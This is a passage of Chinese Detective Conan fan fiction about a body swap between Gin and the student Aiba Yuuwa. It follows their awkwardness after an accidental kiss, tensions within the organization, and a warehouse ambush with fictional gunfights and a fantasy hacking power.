“啊啊啊啊啊啊啊啊你闭嘴!不许说了!”相叶佑禾尖叫,整个人从沙发上弹射而起,‘咻’地一声出现在卧室门口。 “我要休息了,不准靠近我的房间!”说完,‘砰’地一声将门砸上,琴酒清晰地听到了落锁以及搬动重物的声音。 锁了门不够,还要用东西把门堵上。 “。” 琴酒被他防变态一样的行为气笑了。 果然是废物,只不过是擦到唇瓣而已,反应居然这麽大。 不过两个大男人发生了这种意外,确实有些恶…… 琴酒微不可查地顿了顿,他刚才竟没有感觉到恶心反胃…… 他眉头拧起,空气中飘荡着的蛋糕香味让他感到舒适……果然是这具身体在作怪麽。 他屈指狠狠擦了下嘴唇,转身离开—— 把床头柜等等能搬动的家具都堆到门口后,相叶佑禾抹了抹额头上的汗水。 “呼——”这样应该可以了吧?按照他本体的废柴程度,琴酒肯定撞不开门。 看着门口满满当当的家具,相叶佑禾感到十分安心,不过……会不会太过分了一点。 只是不小心擦到……啊啊啊啊啊一点都不过分!过分的是琴酒好不好! 要只是擦到就算了,这种意外虽然抓马但既然都发生了,即使很难为情也能勉强装作什麽都没发生就这麽过了……但琴酒!琴酒那个混蛋!居然看着他舔了下嘴唇。 啊啊啊啊啊啊啊啊! 热气瞬间上涌,相叶佑禾整张脸烫得吓人。 他用力擦着嘴唇,似乎这样就能把刚才的画面擦掉。 琴酒这个变态!!他在干什麽啊!他不应该觉得恶心反胃吗?用最凶的眼神盯着他放最恨的话,或者掏出伯/莱/塔警告他再有下次就崩了他,然后让他滚得远远的消失在他面前吗…… 相叶佑禾都做好大战一场的准备了,结果这混蛋居然、居然…… 琴酒该不会是发现他的身体有问题,觉得麻烦实在忍不住要换回来的心,于是终于想试试网友说的接吻互换的办法,但又因为以前拒绝过他拉不下脸,或者还是没办法下定决心,所以才用这种方法…… 相叶佑禾用力摇了摇头,像拨浪鼓一样晃来晃去。 不不不,他这种自制力不坚定的人会,但琴酒……绝对不可能! 那琴酒舔嘴唇是…… 啊啊啊啊啊! 相叶佑禾一拳锤在桌上打断脑子里的那副画面,‘砰’的一声巨响给自己都吓了一跳。 他狗狗祟祟地看了眼门口,耳朵竖起仔细倾听了几秒,没听到任何动静后才舒了口气。 “咳……”相叶佑禾默默收回手:“哪有什麽绝对的事!琴酒肯定也是被想换回来冲昏了头,但拉不下脸!” 相叶佑禾仅用五秒就接受了琴酒意志力不坚定的改变。 一安静下来,相叶佑禾就尴尬得浑身不舒服,手指碰了碰脸颊,滚烫的温度让他像触电一般迅速将手收回来。 可恶的琴酒! 骂了一声,他起来把铺垫整齐的床单拆下来又重新铺好,然后一会坐下,一会爬起来摸摸柜子看看还能不能搬到门口,发现不能后又把书柜上的书都拿下来,打乱后又重新排序放上去。 做完这一切后,相叶佑禾叉着腰看了看变得更整洁的房间,满意地点了点头。 接下来……是他身体的事。 相叶佑禾沉吟了一会,他来到计算机面前,正准备打开调查一个人的信息时,房门被敲了两下。 “你还要在里面待到什麽时候?” 琴酒的声音传来,相叶佑禾情不自禁抖了一下,刚压下去的画面又浮现在脑子里。 相叶佑禾:“……”可恶! 他恼怒道:“干嘛!” 琴酒语调没什麽起伏:“任务时间快到了,你还要在里面缩到什麽时候?” 哦对,今天是周末,琴酒要和他一起去做组织的任务。 相叶佑禾攥紧了拳头,可恶!他暂时还不想看到琴酒,但让琴酒回去自己去做任务不就告诉对方,他到现在都还很在意刚才的事吗? 这也太逊了一点。 可他确实又不想见到琴酒…… “给你一分钟时间,立马出来。”琴酒的嗓音依旧冷冰冰的,不容置喙。 听起来完全没有被刚才的事影响到,更混蛋了! 凭什麽做了变态事的琴酒跟个没事人一样,他却要尴尬啊! 这麽想着,相叶佑禾‘蹭’地站起来,中气十足地回:“来了!” 他快步来到门口,三两下将堵在门口的东西移开后,拧动门把手。 门被拉开一条缝,从他的角度只能看到琴酒一部分衣角,但就是这一找部分衣角,让相叶佑禾停住继续拉门的动作。 气头上时很有勇气,真要见到了……他还是不知道怎麽面对琴酒啊!! “你在磨蹭什麽?”在相叶佑禾进退两难时,房门被琴酒从外面推开。 两人完完全全的暴露在双方的视野中。 四目相对,相叶佑禾瞳孔缩了缩,捏在门把手上的手指骤然缩紧。 好尴尬,尴尬得脚趾扣地,要说点什麽? 安静的空气中,琴酒视线下移,在看到相叶佑禾那明显被反复揉搓过变得殷红的嘴唇时,眼睛眯了眯。 看不出来,这小废物居然这麽嫌弃? 前段时间跑到他面前滚来滚去求着他接吻的是谁? 琴酒不爽,从来只有他嫌弃别人的份。 琴酒这变态又在看他的嘴巴了!! 相叶佑禾‘嗖’地往后蹿去,捂着嘴巴警惕道:“你到底什麽意思!” 琴酒嗤笑一声:“放心,我对你完全没有兴趣。” 相叶佑禾:“?” “尝试接吻换回来的办法还需要兴趣?” 这种东西不是只要过了心里那关就行了吗? 相叶佑禾神色复杂,他这个正常人果然不懂变态杀手的想法。 琴酒:“。” 他冷冷地收回视线,松开手转身:“别废话了,走吧。” 杀手干脆果断的转身,带起的风吹到脸上,跟他这个人一样,冷冰冰的。 直到他走远,相叶佑禾才松开捂住嘴巴的手,揉了揉有些僵硬的脸颊。 这个态度到底是放弃还是没没放弃啊? 相叶佑禾若有所思,相叶佑禾思考失败。 保险起见,还是离他远点吧。 “你别去了,我自己去做任务。”相叶佑禾追上去,没有像往常一样贴在一起,而是保持着三步的距离:“反正我也单独做过几次任务了。” 琴酒连眼神都没给他一个,嘲讽道:“你是指把任务交给其他人,自己坐在车上或者店里听他们汇报吗?” 相叶佑禾:“……你平时不就这麽做任务的吗?” 实在想不明白琴酒都混到这麽高的位置了,为什麽还要什麽任务都亲力亲为,不是在出任务就是在出任务的路上,连饭都是在车里吃的! 天知道他带着伏特加在任务期间去吃大餐,伏特加眼泪汪汪感觉下一秒就要跟个孩子一样哭出来了。 嘀嘀咕咕的说什麽誓死捍卫大哥和相叶佑禾。 相叶佑禾满头黑线,捍卫什麽的不需要,只要离他远远的就行。 “呵。”琴酒斜了他一眼,唇角勾起一抹饶有兴致的冷笑:“那你现在可以开始为接下来的日子痛哭了。” 接下来的任务果然没有之前那麽轻松了。 琴酒此前一直从一堆任务中挑出一些稍微简单的、完成起来不那麽费劲的任务给相叶佑禾。 一方面不想让相叶佑禾接触内核,另一方面是担心相叶佑禾完成不好带来新的麻烦。 尽管琴酒已经在任务上尽量掩饰异常了,但还是引来了他死对头朗姆的视线。 想要降低怀疑,任务方面就不能与从前差太多,但任务的危险程度也大大提升,相叶佑禾这个优柔寡断、身手极差只会丢他头号杀手脸的小废物,琴酒实在不放心他一个人。 接下来的任务他都要在场,监视着相叶佑禾的一举一动。 相叶佑禾一开始是不想答应的,毕竟这对他脆弱的本体来说实在太危险,可他们现在是命运共同体,想要保护好他的本体,琴酒不被怀疑是重要的前提…… 最终相叶佑禾强硬地和琴酒约法三章。 可以一起出任务,但琴酒只能坐在车上远远看着,他们可以电话联系,但琴酒绝对不能从车上下来,不管是任务现场还是其他组织成员在的时候。 总之,不能让任何人见到他的本体。 对此,琴酒略微思索了两秒便答应了。 相叶佑禾这具身体在他的修养和锻炼下,没有以前那麽脆弱不堪。 以前连只大鹅都打不过,现在能打三只,当然,是单纯指身体力量,琴酒操控的话,用技巧击倒普通犯罪分子不在话下。 但和他们这些常年游走于生死边缘的犯罪成员还差太多太多,一但被朗姆盯上,相叶佑禾十之八九完蛋。 琴酒眯了眯眼,绿色的瞳孔中迸发出惊人的杀意。 或许,他得想个办法尽早把朗姆给解决。 “你在做什麽?”耳机里传来相叶佑禾低沉带着浓浓警告的声音,琴酒抬眸,透过车窗看到外面的场景。 距离车子五米外的地方。 相叶佑禾站在一个黑发女人面前,拦住了她的去路。 他盯着面前这个漂亮的女人,眸色阴沉,面无表情地吐出她的代号:“基尔。” 基尔,本名本堂瑛海,化名水无怜奈,是CIA安插在黑衣组织的卧底。 在将赤井秀一‘杀’死,彻底洗清卧底嫌疑后,她已经有一段时间没有见过琴酒用这种杀气腾腾的眼神看着她了。 水无怜奈有些惊讶,她确定今天什麽都没做,任务中属于她的戏份也完成得非常完美。 虽不知道原因,她还是在心里提高了警惕心:“你也看到了,刚才在任务中我的机车报废了,我想搭一下你的便车回去。” 这不是借口,她确实只是单纯的想要搭个车而已,谁知都还没靠近车子,琴酒就不知从哪冒了出来。 真可怕,水无怜奈庆幸自己今天没有做什麽可疑的举动。 然后,她看到‘琴酒’的眼神肉眼可见地变得更冷了。 “不行,你自己打车回去。”相叶佑禾冷酷无情的拒绝。 休想踏进有他本体的地方!尤其是朗姆虎视眈眈的时期。 基尔:“?” “你什麽时候变得这麽小气啊?” 扎着一头玉米辫的男人朝车子走去:“反正又不用你开车。” “喂,宾加你……”和他一起过来的伏特加急忙喊了一声,但宾加并没有搭理他,一边大步朝车子走去,一边讥讽地说:“在半路把我们放下来就行了,放心吧,耽误不了你这种大忙人多少时间,我……” 话音未落,他的肩膀被人一把扣住,蛮横的力道仿佛要把骨头给捏碎,他面容扭曲地挥开对方的手,一回头,却对上一张阴沉的脸。 伏特加瞥了一眼银发男人的脸色,默默为宾加点了一根蜡。 相叶佑禾阴恻恻地盯着这个玉米辫男人——宾加,朗姆的亲信。 非要上他的车肯定不怀好意! 相叶佑禾臭着张脸,态度更差了:“我说了,自己打车回去,你这麽想上我的车,是想打探什麽消息麽?老鼠。” 宾加:? 有病啊,他只不过是搭个顺风车而已!怎麽就成为老鼠了! 基尔:…… 好险,差点就又成为老鼠了。 “不用跟他废话。”琴酒倚在车窗边,修长的手指抵在下颌处,如冰刃般的眸光盯着外面那个神色嚣张的男人,冷声道:“左拳直击,侧身闪避,右腿抬高横扫。” 琴酒的声音从耳机里传来,相叶佑禾下意识跟着他的指令动手。 他猛地挥出拳头,淩厉的拳风撕裂空气,直逼宾加面门,宾加瞳孔骤然一缩,他被相叶佑禾突如其来的发难吓了一跳,仓促偏头闪避,拳头从耳边擦过,他堪堪躲开攻击后,旋身一记鞭腿回击。 然而却落空了。 相叶佑禾一个侧身躲开,同时右腿带着势如破竹的气势扫去。 “砰”地一声,宾加被这一腿狠狠砸重肋侧,栽倒在地。 “不错。”相叶佑禾干脆利落的动作让琴酒心情颇好,眸中带着一丝笑意:“上车吧。” “咳!”宾加重重咳嗽了一声,面容扭曲:“琴酒!你干什麽?!” 只是搭个顺风车而已,不载就不载,又是老鼠又是突然发难揍人,这是什麽意思?! 相叶佑禾:“……” 这段时间和琴酒一起出任务,以前单独出任务时看不到就算了,现在能看到,琴酒就忍不住嫌弃相叶佑禾说话战斗丢了他topkiller的脸。 看不下去的时候就会像刚才一样直接发出指令,相叶佑禾听习惯了,刚才也没多想就直接动手了…… 他看着宾加怒气腾腾的脸,一点都不觉得抱歉,谁让这玉米头要接近他的本体。 接近他本体的人都该打!没有像琴酒一样一言不合开上一枪都是他善! 相叶佑禾居高临下地睨了他一眼,直接离开。 “琴酒,你这个——”宾加气急败坏地大骂,却在相叶佑禾转身时戛然而止。 银发男人目光不带丝毫感情地扫了一眼他们,最后停在水无怜奈身上。 水无怜奈心脏一紧,额角滑下一抹冷汗。 她刚才也说了要搭便车,‘琴酒’该不会要揍她吧…… 她暗自提高警惕,藏在衣服下的肌肉瞬间紧绷。 有了宾加的对比,基尔这个隶属于琴酒行动组的人就变得顺眼了不少。 至少人家漂亮又有礼貌。 把女士扔在这种鸟不拉屎的地方太不礼貌了,但他的本体更重要。 相叶佑禾说:“打车费双倍报销。” 唉,今天又是替琴酒善解人意的一天。 琴酒:“。” 倒不是心疼那麽一点钱,就算百倍的打车费也不足以被他放在眼里。 但相叶佑禾这慷慨的样子让琴酒磨了磨牙。 他可是记得很清楚,是谁开了个捐款入职帝丹高中的头。 他会让波本等人做任务双倍还回来,至于相叶佑禾…… 基尔看着相叶佑禾离开的背影,眨了眨干涩的眼睛。 ‘琴酒’……这该不会是在回答她刚才说她小气的话吧? 基尔:“。” 基尔:“……” “基尔,那我也先走了。”伏特加打了个招呼,对和大哥对着干的宾加也没什麽好脸色。 “嗯,对了伏特加。”水无怜奈若有所思,笑道:“琴酒最近心情不好吗?是的话我最近还是少和他一起做任务好了。” “倒也不是……”伏特加有些纠结,他最近也越来越搞不懂大哥了,明明很担心小情人,却又要带着他往危险地方跑。 难道是最近任务占据的时间太多,大哥和小情人相处时间越来越短,所以大哥不开心了,才到哪都带着小情人? 嘶……伏特加觉得很有道理。 毕竟大哥和小情人感情很好,一直如胶似漆。 他小声道:“基尔,没事别随便靠近车子,里面有非常重要的人。” 水无怜奈瞳孔一缩。 非常重要的人。 琴酒最近、不,大概是三四个月之前,她就听说琴酒出任务时都会戴着耳机,这次也不例外。 任务期间戴着耳机、任务中也心不在焉似乎在听从耳机对面人的命令、最近又不让任何人接近他的车子,她只是往车子的方向走了几步,隔着老远就被拦下,宾加甚至被揍了一顿。 车里的重要人物,难道说是……boss?! 第54章 我喂你? “感受到了吗?苏格兰。”教师办公室里,安室透端着杯茶水走到诸伏景光桌边,笑道:“组织最近的气氛很凝重啊。” 诸伏景光抬头,金发黑皮的青年半倚在桌沿,修长的手指轻轻摩挲着杯壁,温热的水汽如一层薄纱升起,模糊了那双紫灰色的眼睛,看不清他眼中的神色。 此刻办公室里只有他们两人,安室透比平时要放松许多,但诸伏景光还是感受到了他的沉重。 诸伏景光也同样,他放下手里的作业本,这是‘黑泽老师’的工作,但自从‘琴酒’升职为教导主任后,就以工作忙碌为由把自己要批改的作业扔给他了。 美名其曰是任务。 这段时间在学校里,虽然身边也存在危险人物,但学校里这些洋溢着青春笑颜的学生们,让两人感到了久违的放松。 尤其是变成了恋爱脑的琴酒,他们每天兢兢业业地维持着人设并小心谨慎的搜集信息,生怕一个不小心就被怀疑。 谁知道成为了恋爱脑的‘琴酒’会这麽放飞自我,不仅不搭理他们,还整天眼里心里都只有‘相叶佑禾’一个人,只要稍微一靠近就会被琴酒杀气腾腾的警告威胁,每天被迫站在远处看他们俩黏在一起各种秀恩爱…… 嗯,厨艺好的他还要为两人提供草莓蛋糕…… 事情怎麽会变成这样呢? 诸伏景光陷入沉思,有时候感觉他们不是来调查情报的,而是冒着生命危险来到琴酒身边,为他变态的恋爱提供一些奇奇怪怪的乐趣和美味的蛋糕…… 诸伏景光:“……” 所以说他们到底为什麽要来帝丹高中当老师,为什麽不趁着琴酒恋爱上头的时间趁机做一些小动作? 话虽如此,诸伏景光等人还是有一些收获的。 相叶佑禾果然不是单纯的学生。 那个身体柔弱的少年,一个人时总是面无表情,仿佛对什麽都提不起兴趣,在他们靠近时,眼眸深处充满了隐晦的警惕和防备,而面对恋人‘琴酒’时,他也总会露出嫌弃和不耐的神色。 甚至有两次,诸伏景光和安室透还见到少年冷冰冰地让‘琴酒’滚远点。 很显然,相叶佑禾是被迫成为琴酒的恋人的! 琴酒讨厌弱者,根本不屑于分给对方一丝眼神,那麽一开始,他是怎麽注意到相叶佑禾的? 他们调查过,相叶佑禾无父无母,被收养后和奶奶相依为命,奶奶去世后又成了孤身一人,要自己兼职养活自己。 也许是这样悲惨的经历加上身体太差的缘故,他总是和周围的人保持着一定的距离,但安室透和诸伏景光在见过相叶佑禾那时不时露出的冰冷神色和不凡的气势时,认为没有那麽简单。 恐怕真的如他们之前所猜测的,相叶佑禾极大可能就是——黑客樱。 所以琴酒才会对‘弱小’之人产生了兴趣,从而在这期间爱上了对方,没想到一发不可收拾变成了……嗯,恋爱脑。 然后不想让爱人也踏入黑衣组织这滩泥潭,才隐藏了黑客樱的信息,怪不得他们找了这麽久都没找到黑客樱的一点消息!原来叛徒就在他们身边!还是深受bos任、组织不可或缺的重要干部! 总之,相叶佑禾是被迫成为琴酒的恋人,他并没有全心全意的爱着琴酒,那情况就好很多了。 不管这个猜测正不正确,哪怕相叶佑禾不是黑客樱,他们也要把人给救出来,不能让琴酒继续祸害未成年! “是啊。”诸伏景光叹了口气:“因为那个坐在琴酒车里从未露过面的神秘人,以及琴酒那严防死守的保护。” “你说……那个神秘人会不会是佑禾?” 安室透摇了摇头:“应该不是。” “以他对佑禾那病态的保护欲来看,他大概不会把人带到危险的任务现场,更别说还因此成为了众人猜测的对象,很容易吸引组织成员的探究,甚至还有可能引来boss的目光。” 诸伏景光点了点头,他也认同好友的猜测。 安室透手指摩挲着杯壁,分析道:“但除了相叶佑禾,能让琴酒这麽谨慎对待,并且不担心会被boss怀疑……这个神秘人该不会就是boss本人?” 诸伏景光也有这个猜测,不如说组织里不少人都有这个猜测,所以气氛才这麽凝重,人人都谨言慎行,但…… “佑禾不行,boss就能带去危险的地方了吗?” 接收到诸伏景光诡异的目光,安室透咳嗽了一声:“……你说的对,但不排除这是boss的要求,而且……” 而且谈恋爱后的琴酒整个人都变了,谁知道恋爱脑中的他会不会就觉得相叶佑禾比boss重要呢! “说起来,这对我们来说是个好时机。” 无论是趁琴酒重心分了一部分在神秘人身上,也许能有机会接近相叶佑禾做点什麽,还是神秘人很有可能是boss,对他们而言,都是好机会!—— “阿嚏——”相叶佑禾打了个喷嚏,他揉了揉鼻子,嘟囔道:“就不能吃了晚饭再去做任务吗?” 他可是上了一天的课,放学还没享受美食,就马不停蹄的上车赶往任务现场。 琴酒扔了个袋子给他。相叶佑禾打开一看,里面只有两三个小面包,是一周前逛超市买了一堆零食,最后因为这款面包太难吃才留存下来。 相叶佑禾瘪了瘪嘴:“我等会要辛辛苦苦的做任务,那可是体力活!你就让我吃这个?!” 琴酒‘啧’了一声:“只有这个,正好你最近吃太多甜食,饿一两顿也挺好。” 相叶佑禾瞪了他一眼:“你怎麽不提我一天运动量多大的事?” 琴酒双手抱胸:“那已经是因为你调整过的最低要求了。” “我又不是杀手。”相叶佑禾嘟囔:“早知道中午就出去吃顿好的了。” 为了防安室透和苏格兰,他中午也是在教室啃面包…… 相叶佑禾把面包扔到他那边:“开车腾不出手,帮我把包装撕开。” 自从相叶佑禾学会开车后,琴酒就重新买了辆低调的车子,让相叶佑禾开车载着他上下学。 遇到这种放学就去做任务的情况,便不会再浪费时间让伏特加赶过来。 琴酒冷冷暼了他一眼,嘲讽道:“一会是不是还要我喂你?” “噫!”相叶佑禾抖了抖身体,车子晃了两下。 琴酒‘啧’了一声:“好好开车。” 相叶佑禾猛地踩下刹车:“放心,已经到了,不会撞到你的。” 车子停在一个废弃公园里,四周有树木和设施作为遮挡,加上夜色掩盖,十分隐蔽。 琴酒挑了挑眉:“距离任务现场直线距离还有两公里,你停得太远了,再往前开一点。” “不行。”相叶佑禾拒绝:“今天伏特加不在,我要保证我的身体安全!” 琴酒无语,他对相叶佑禾苟命的谨慎态度习以为常。 今天的任务很简单,只是和一个有求于组织的小组织交易物品,像这样想要攀附组织的小组织没有什麽反抗的胆量,保险起见他还让伏特加提前去调查过,没什麽问题。 既然如此,琴酒便没再多说什麽。 “那我走了。”相叶佑禾从他手里抢走那个撕开包装的面包,下车时拿出来塞嘴里,吃了一口后脸瞬间耷拉下去。 他绕到副驾驶的位置敲了敲车窗。 车窗放下,相叶佑禾对琴酒道:“这个太难吃了!等我回来我们去吃大餐!你付钱!” 琴酒:“……”他突然有点怀念以前那个划清界限,连半价商品都不要他付钱的警惕小鬼。 现在真是越来越不客气了。 他‘嗯’了一声,把检查好的手枪扔给相叶佑禾:“再不走你就要迟到了。” “知道了知道了。”相叶佑禾将枪别到腰间,去后备箱拿出手提箱和他的代步工具。 琴酒杵着下颚,漫不经心的翻出伏特加的聊天框,发了条消息让他去订一家菜和甜品都好吃的餐厅。 “啪嗒。” 一声清脆的响声传来,琴酒皱了皱眉。 什麽声音? 他侧头,看到相叶佑禾提着手提箱,站在一块带滑轮的板子上,衣角和银发在风中翻扬。 琴酒:“?” “你踩的是什麽?” 第55章 二合一 咬一口,痛! “滑板啊。”这麽明显的东西都看不出来吗? 上次徒步一段路去帝丹高中装摄像头的时候,相叶佑禾就觉得很不方便了,想了想柯南的滑板还蛮方便的,很适合他这种为了掩饰经常要下车走一段路的人。 于是就伪装了个身份去找阿笠博士做了一个。 反正是琴酒的身体用,怀疑不到他身上。 琴酒额头青筋暴起。 “给我滚下来,跑着过去。” 跑?才不要。 “耳朵瞎了听不到~” 相叶佑禾脚一踩,像一只离弦的箭一般‘嗖’地飞了出去,只留下一串滑行轨迹。 他刚出去不远,便接到琴酒打来的电话。 啊……想也知道琴酒会有多生气,真不想接啊。 但之前约好了出任务必须戴耳机,全程让琴酒远程掌控。 就算现在不接,等快到任务现场时也要打过去,到时候琴酒肯定更生气了。 相叶佑禾叹了口气,指尖轻点蓝牙耳机,接通后立即听到琴酒咬牙切齿的声音:“相、叶、佑、禾。” “哎呀别生气啦,这黑灯瞎火的又是废弃仓库,没人能看到,不会影响你大佬形象的。”相叶佑禾说道:“你放心,我会在靠近任务地点把滑板藏起来的。” 理所当然的,琴酒很生气,那冷笑听得相叶佑禾害怕极了——害怕琴酒下车跟过来。 这真是他的软肋。 相叶佑禾突然没了刚开始踩滑板时的硬气。 他以最快的速度行驶了一半的路程后立即将滑板扔一边,步行着去交易地点,但琴酒还是冷笑。 相叶佑禾心里苦。 小气鬼。 他决定下次把滑板藏起来,离开琴酒视线后再偷偷用好了。 来到交易地点,相叶佑禾不好再开口和琴酒说话,干脆直接打字,用短信轰炸他。 “琴酒大人!”刚踏进仓库,一个谄媚的中年男人连忙走上来。 这是今晚的交易对象,他身旁跟着两个保镖,虽然身材壮硕,但看上去只是些花架子,他应该一击就能放倒。 相叶佑禾单手拿着手机,指尖在上面飞速敲打,从快出残影的速度来看,琴酒没将他拉黑完全是拖了任务的福。 但今天的任务很简单,在琴酒还在上学、朗姆还没怀疑的日子里,相叶佑禾单独做了很多个类似的交易任务。 这类简单又装逼的任务,相叶佑禾最喜欢了。 他只要双手插兜,让伏特加把东西扔给别人,然后转身留下一个冷酷高傲的背影就行。 伏特加不在也没事,一样的流程。 “东西呢?”虽然在发短信安抚(骚扰)琴酒,但相叶佑禾也保持着该有的警惕心。 他飞速扫了眼四周,废弃仓库里灯光较为黑暗,里面堆了不少积满灰尘的箱子和废弃货架。 很适合藏人啊。逃生的地方也就只有大门而已,窗户太窄……嗯?右边的那扇好像可以,但位置太高,附近光溜溜的没有箱子,根本爬不上去。 如果是琴酒这种顶尖杀手的话…… 说起来,为什麽他们这些犯罪成员总喜欢在仓库交易啊! “在这呢!大人您过目……”中年男人接过保镖手里的箱子,正要递给相叶佑禾时突然一顿,疑惑道:“咦?琴酒大人,伏特加大人没有跟您来吗?” 另一边的琴酒正被相叶佑禾接连不断的短信吵得头疼,浑身泛着黑气正思考要不要把相叶佑禾拉黑,反正这次的任务很简单,那小鬼做过很多次也很熟练了。 就在此时,耳机里中年男人的询问让琴酒眸光一顿:“有诈,快离开。” 琴酒的声音又沉又急,他没有说‘杀了他’这种很有可能会扰乱相叶佑禾心神的词,足以证明这场变故有多危险。 浓浓的肃杀之意仿佛顺着耳机传递过来。 在他说话的同一时间,相叶佑禾敏锐地听到一丝细微的动静,以及交易对象眼中一闪而过的兴奋。 在异变发生的刹那,身体已经率先做出了反应。 银色的长发如星河倾斜,在空中划过一抹淩厉的弧度。 “咻”。 几乎同时,带有消音器的子弹撕裂空气而来,它穿过飘扬的银发,“砰”地一声贯穿手机。 屏幕碎裂,相叶佑禾没有去管,他在躲避的同时一个旋身抬腿,准确命中距离最近的保镖。 “呃——”保镖发出一声痛苦的呼声,倒飞出去。 相叶佑禾没有分给他一丝眼神,目光锁定在另一个持枪保镖身上,一个箭步冲上去。 蓝牙耳机随着他剧烈的动作掉了下去,轻微的声音被四周噼里啪啦的脚步声和子弹上膛的声音吞没。 相叶佑禾眸光一凝,浑身细胞都在叫嚣着危险,他抓向保镖手腕的五指陡然改变方向,一把抓扣保镖的肩膀用力一拧,将人拽至身前成为这空旷地带的屏障。 “砰砰砰!” 枪声接连不断地响起,火花四溅,子弹击中血肉的声音清晰的落入耳中,鲜血喷涌而出,一部分洒在了相叶佑禾的脸颊上,温热殷红的血缓缓滑下,相叶佑禾的睫毛颤了颤。 他移开目光,没有去看这个如同被电流击中,身体不断抖动的保镖。 手指不受控制的颤抖,却稳稳扣住□□的板机,毫不犹豫地击碎了头顶破旧的灯泡。 玻璃碎片如雨从空中落下,整个仓库陷入无尽的黑暗。 在光线消失的瞬间,相叶佑禾已经矮身翻滚至集装箱后方,并迅速转移了位置。 黑暗让敌人的攻击变得淩乱起来,他们凭着直觉朝相叶佑禾可能在的方向扫射,子弹在墙壁上擦出零星的火花。 “不要慌!把仓库门口堵住!一旦发现有人就立即射杀!” 那个早在发生变故时就立刻跑开的男人大喊。 杂乱的脚步声和枪声在仓库里散开,相叶佑禾靠在集装箱上,眉头紧皱,苍白的脸上布满了细密的汗水。 温热的鲜血从腰处溢出,将黑色的西装晕染得更加深沉。 呜呜呜好痛啊…… 他有多久没有受过伤了?自从来到米花町后,也就做菜时不小心用刀割到手指出过血。 好疼,疼得想哭。 相叶佑禾胸膛剧烈的起伏着,死死咬着唇不让自己发出一点声音。 现在不是喊疼的时候,时间紧迫,他得赶快趁机联系琴酒才行。 刚才手机被击中,他和琴酒的通话中断了,那个混蛋一定很担心这边的情况。 如果赶过来救他……不是如果,是一定,琴酒一定会来救他。 他要阻止琴酒,哪怕真正的杀手是琴酒,可他用着的是自己的身体,这太危险了,很有可能会让他们俩都陷入困境。 所以,他要阻止琴酒,当然,相叶佑禾也不想死,他会想办法制造机会逃出去。 他一只手紧紧握住手/枪,另一只手费力地抬起朝边耳边摸了摸,却发现空无一物。 他需要电子设备作为发动异能力的媒介,可手机碎了,在刚才的战斗中也来不及顾它,扔到了地上,现在耳机也不知道掉哪里了…… 想要从敌人手中抢走一台电子设备也不现实…… 那就只能…… 相叶佑禾抿了抿唇,汗水裹挟着血液顺着脸颊滚落,他用手指将其抹去。 浓稠的触感让他眸色暗了暗。 他闭上眼睛,四周的喧嚣如潮水般褪去,仓库陷入了死一般的寂静,在这一片黑暗的空间中,仿佛只剩他一个人。 相叶佑禾深吸了一口气,再次睁开眼时,眸中迸发出冰冷的幽蓝色的光芒,无数细密的数据在其中流转,让他整个人笼罩在疏离又冷漠的非人感中。 【异能力·普罗米修斯】。 幽蓝色的光芒浮现在手心,蓝色的代码如同灵蛇吐信般瞬间缠绕上他的手指,在指间蜿蜒游走。 微弱的光芒映照在他苍白的脸上,与指间游走的数据链条遥相呼应。 他的异能力发动时需要使用电子设备,而当他无视电子设备的限制发动时。 ——则需要付出一定的代价。 这份代价,相叶佑禾不清楚。 记忆中这是第一次无视限制。 指尖微动,琴酒的定位跳了出来,他正在快速移动。 相叶佑禾庆幸自己没有耽误太多时间,否则再过一分钟说不定就能看到开车单枪匹马冲进来的琴酒了。 代码随心意而转动,相叶佑禾拨通了琴酒的电话—— 在提醒相叶佑禾后,耳机里传来一声强烈的电流声,随后世界陷入一片安静。 他和相叶佑禾的通话断了。 意识到发生了什麽,琴酒双眸中骤然爆发出令人不寒而栗的杀意。 “找死。”他移到驾驶位上,引擎轰鸣,车子如挣脱锁链的野兽蹿出。 大概十秒后,他接到了一个陌生来电。 一声铃响都没等到,琴酒的声音传到相叶佑禾耳中。 “你是谁?” 冰冷的嗓音中满是杀意,激得相叶佑禾不禁打了个寒颤。 他用气音说道:“琴酒,不许过来!” 低低的声音中满是不容拒绝的任性,琴酒气笑了,他没有忽略嗓音里相叶佑禾极力忍耐的颤抖和不稳的呼吸,以及四周传来的枪声。 相叶佑禾极大概率是受伤了。 但是相叶佑禾竟然没像他求救,反而让他别过来。 是他平时太纵容了麽?这个脑子不清楚的小鬼到底知不知道自己死了也有可能换不过来? 琴酒握着方向盘的手很稳,冷冰冰道:“闭嘴,你只要好好活到我过来就行。” 相叶佑禾咬了咬牙,眼前有些发黑:“仓库四周地处开阔,他们人很多,你用着弱鸡的身体过来带着受伤的我,是想让我们一起死在这里吗?” 他的语气有些发狠,不知道是因为此刻的危急,还是琴酒的一意孤行。 仓库里的脚步声变得有些近了。 敌人不确定相叶佑禾有没有趁乱逃出去,分出一部分人去外面查找,一部分看守在大门处,剩下的在仓库里查找。 大概是对声名远扬的‘琴酒’的畏惧,他们甚至不太敢发出太大的声音,怕暴露点位被藏在暗处的‘琴酒’爆头。 但……距离很近了。 相叶佑禾似乎都能听到他们粗重的喘息声。 相叶佑禾握着枪的指尖在颤抖,并不是害怕,而是……浓稠的鲜血、一张张失去生命的脸浮现在眼前。 他闭了闭眼,依旧牢牢扣住手枪,保证能在敌人出现的一瞬间将其击倒。 “琴酒,你只要在半路接应我……” “砰!” 玻璃碎裂的声音在耳畔爆开,那是琴酒那边传来的! 相叶佑禾猛地睁开眼睛:“琴酒!你怎麽了?!” “琴酒!” “没事。”琴酒一手握住方向盘,将因为变故偏离方向的车子拉回正轨,他拍了拍头发,落在发丝上的玻璃碎片簌簌掉落。 子弹再次射来,一部分被琴酒躲开,一部分击中车子。 他从碎裂的车窗看去,目光准确锁定不远处烂尾楼上的反光点。 狙击手…… 呵。 琴酒咧开嘴,洁白的牙齿在黑暗中泛着森冷的寒光。 “相叶佑禾,活着逃出来,你能做到麽?” “当然!”相叶佑禾又不是傻子,要是真的一点逃跑的办法都没,他一定会嗷嗷大叫让琴酒赶快想办法救他。 但只要有一点,那对不起了,他的本体更重要。 从相叶佑禾还能跟他拌嘴这点来看,状态还可以,那小鬼在苟命方面也从不会跟他逞强。 “很好。”车子一个甩尾朝烂尾楼冲去,琴酒浑身散发着刺骨的杀意:“公园左边一公里处的那栋烂尾楼,你往这个方向跑。” 他要先上去把那个狙击水平烂到家的废物解决掉,再把那群胆敢埋伏相叶佑禾的叛徒通通杀掉—— 琴酒的定位没有再往他这边移动,但相叶佑禾的心却一点都没放松下来。 从刚才的动静和对话中不难猜出,琴酒那个混蛋要去干掉袭击他的狙击手!! 